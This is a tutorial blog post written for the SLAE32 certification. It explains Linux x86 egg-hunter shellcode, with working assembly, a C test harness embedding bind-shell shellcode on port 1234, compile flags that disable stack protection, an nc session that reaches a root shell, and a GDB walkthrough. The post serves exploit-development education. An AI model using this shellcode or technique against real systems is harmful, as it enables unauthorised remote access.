SLAE32 - Assignment 3 - Egg Hunter
Egg Hunting is the topic for this third SLAE assignment.
Before briefly describing what an egg hunter is about, I strongly suggest reading this great paper by Skape.
During an exploitation, we do not always have the luxury of being able to fit our full shellcode in the available buffer.
Sometimes that space is just simply not enough, and we have to workaround it, with a smaller piece of code (Egg Hunter), which will search through the memory for the full shellcode, that has been loaded via another means.
For example, if a webserver has a buffer overflow vulnerability in ‘header A’, we can load the egg-hunter into that header and then load the full-fledged shellcode in ‘header B’.
The main shellcode is prefixed by an ‘egg’, which, in turn, is used by the egg-hunter as a key to lookup in the memory; once the egg-hunter finds the key (egg) it passes control to the main shellcode.
The egg is an 8-byte sequence of a twofold 4-byte repetition of the key.
The reason for this redundancy is to avoid the risk of the egg-hunter recognizing itself as a target, instead of the actual shellcode.
It is important to note that the key needs to be as unique as possible, so I have used a concatenation of AAA+AAS (0x373F) instructions, which is fairly uncommon.
The Skape paper illustrates three different ways to implement egg-hunters: we are going to use the second one, which employs a more reliable mechanism.
In this option, the egg-hunter is invoking the ‘sigaction’ system call, which tests a memory page and verify that is a valid one, thus preventing the program from crashing.
Here is the high level order of operation:
- The Egg-Hunter is loaded in the memory, via a vulnerability.
- It then crawls each memory page
- If it receives an EFAULT error code, the page is invalid.
- If the page is valid, it compares the memory address to the egg.
- If a match is found, it checks the next memory address to find the same match (remember, the main shellcode starts with the egg repeated twice.)
- If two eggs are found in sequence, it passes control to the target shellcode.
Here is the memory layout:
[egg-hunter]
...
various valid/invalid memory pages
...
[4 bytes egg]
[4 bytes egg]
[shellcode]
Here the egghunter shellcode:
global _start
section .text
_start:
cld ; clear direction flag in preparation for scasd
xor edx,edx ; clear edx
xor ecx,ecx ; clear ecx
align_page:
or cx,0xfff ; page alignment at 4095 - avoid explicit 4096 nullbyte
next_address:
inc ecx ; bring it at 4096 - default linux page size
push byte +0x43 ; sigaction(2) value
pop eax ; store syscall identifier in eax
int 0x80 ; call sigaction(2)
cmp al,0xf2 ; check if we got an EFAULT(f2)
jz align_page ; if so, it's an invalid pointer, loop back and try with next page
mov eax, 0x373F373F ; if valid page, place the egg in eax
mov edi, ecx ; address to be validated, moved into edi
scasd ; compare eax / edi and increment edi by 4 bytes
jnz next_address ; if no match - try with the next address
scasd ; first 4 bytes matched, what about the other half?
jnz next_address ; no match - try with the next address
jmp edi ; egg found! pass control to the main shellcode
And here the full shellcode, including our egg-hunter and a local bind shell on port 1234
#include <stdio.h>
#include <string.h>
#define EGG "\x37\x3F\x37\x3F"
unsigned char egghunter[] = \
""
"\xfc" // clear direction flag in preparation for scasd
"\x31\xd2" // clear edx
"\x31\xc9" // clear ecx
"\x66\x81\xc9\xff\x0f" // or cx,0xfff
"\x41" // inc ecx
"\x6a\x43" // push 0x43
"\x58" // pop eax
"\xcd\x80" // int 0x80
"\x3c\xf2" // cmp al,0xf2
"\x74\xf1" // je align_page
"\xb8"
EGG // mov eax,0x373F373F
"\x89\xcf" // mov edi,ecx
"\xaf" // scas eax,DWORD PTR es:[edi]
"\x75\xec" // jne next_address
"\xaf" // scas eax,DWORD PTR es:[edi]
"\x75\xe9" // jne next_address
"\xff\xe7"; // jmp edi
unsigned char code[] = \
EGG
EGG // local bind shellcode to port 1234
"\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89"
"\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x04\xd2\x66\x53\x89\xe1"
"\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd"
"\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0"
"\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x41\x89\xca\x89\xe3\xcd\x80";
int main(void) {
printf("Shellcode length + 8 byte egg: %d\n", strlen(code));
printf("Egg hunter length: %d\n", strlen(egghunter));
int (*ret)() = (int(*)())egghunter;
ret();
}
Bear in mind that this technique will work with any kind of shellcode, as the egg-hunter will seek the preambled egg only, regardless of the payload content.
Now we can paste&compile:
gcc shellcode.c -o linux_x86_egg-hunter -fno-stack-protector -z execstack -m32
Let’s run it:
# ./linux_x86_egg-hunter
Shellcode length + 8 byte egg: 97
Egg hunter length: 35
And try to connect on port 1234
# nc localhost 1234
whoami
root
Great. Now it’s time for a short demo, which shows how the shellcode is independant from the egg hunter.
Let’s fire up GDB,place a breakpoint at the egghunter and disassemble it.
# gdb -q ./shellcode
(gdb) break *&egghunter
Breakpoint 1 at 0x2040
(gdb) run
Starting program:
Shellcode length + 8 byte egg: 97
Egg hunter length: 35
Breakpoint 1, 0x800e1040 in egghunter ()
(gdb) disassemble
Dump of assembler code for function egghunter:
=> 0x800e1040 <+0>: cld
0x800e1041 <+1>: xor edx,edx
0x800e1043 <+3>: xor ecx,ecx
0x800e1045 <+5>: or cx,0xfff
0x800e104a <+10>: inc ecx
0x800e104b <+11>: push 0x43
0x800e104d <+13>: pop eax
0x800e104e <+14>: int 0x80
0x800e1050 <+16>: cmp al,0xf2
0x800e1052 <+18>: je 0x800e1045 <egghunter+5>
0x800e1054 <+20>: mov eax,0x3f373f37
0x800e1059 <+25>: mov edi,ecx
0x800e105b <+27>: scas eax,DWORD PTR es:[edi]
0x800e105c <+28>: jne 0x800e104a <egghunter+10>
0x800e105e <+30>: scas eax,DWORD PTR es:[edi]
0x800e105f <+31>: jne 0x800e104a <egghunter+10>
0x800e1061 <+33>: jmp edi
0x800e1063 <+35>: add BYTE PTR [eax],al
We stopped at our egg-hunter beginning and we want to heve a peak into EDI register.
(gdb) info reg
eax 0x800e1040 -2146561984
ecx 0x7fffffea 2147483626
edx 0xb76ed870 -1217472400
ebx 0x800e1000 -2146562048
esp 0xbfb8707c 0xbfb8707c
ebp 0xbfb87098 0xbfb87098
esi 0x1 1
edi 0xb76ec000 -1217478656 <<<<<<<<<<<<<<<<<
eip 0x800e1040 0x800e1040 <egghunter>
eflags 0x282 [ SF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/16xw 0xb76ec000
0xb76ec000: 0x001b2db0 0xb7715858 0xb7730710 0xb7550756
0xb76ec010: 0xb7550766 0xb75d9990 0xb7550786 0xb75c9110
0xb76ec020: 0xb76779a0 0xb772e5b0 0xb75507c6 0xb75507d6
0xb76ec030: 0x00000000 0x00000000 0x00000000 0x00000000
As we imagined, EDI points to some random values, since has not been used so far.
But we also know , that EDI will be used to store the EGG location, when found.
So we place the next breakpoint right before the program passes control to the shellcode, so we can verify the new value of EDI.
(gdb) break *0x800e1061
Breakpoint 4 at 0x800e1061
(gdb) continue
Continuing.
Breakpoint 4, 0x800e1061 in egghunter ()
(gdb) info reg
eax 0x3f373f37 1060585271
ecx 0x800e1080 -2146561920
edx 0x0 0
ebx 0x800e1000 -2146562048
esp 0xbfb8707c 0xbfb8707c
ebp 0xbfb87098 0xbfb87098
esi 0x1 1
edi 0x800e1088 -2146561912
eip 0x800e1061 0x800e1061 <egghunter+33>
eflags 0x246 [ PF ZF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/16xw 0x800e1088
0x800e1088 <code+8>: 0x6a58666a 0xf6315b01 0x026a5356 0x80cde189
0x800e1098 <code+24>: 0xb093975f 0x68665666 0x5366d204 0x106ae189
0x800e10a8 <code+40>: 0xe1895751 0x66b080cd 0x575604b3 0x80cde189
0x800e10b8 <code+56>: 0x564366b0 0xe1895756 0x595980cd 0xb09302b1
Which gladly points to our target shellcode at 0x800e1088.
My assignment code can be found here:
here
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: PA-5837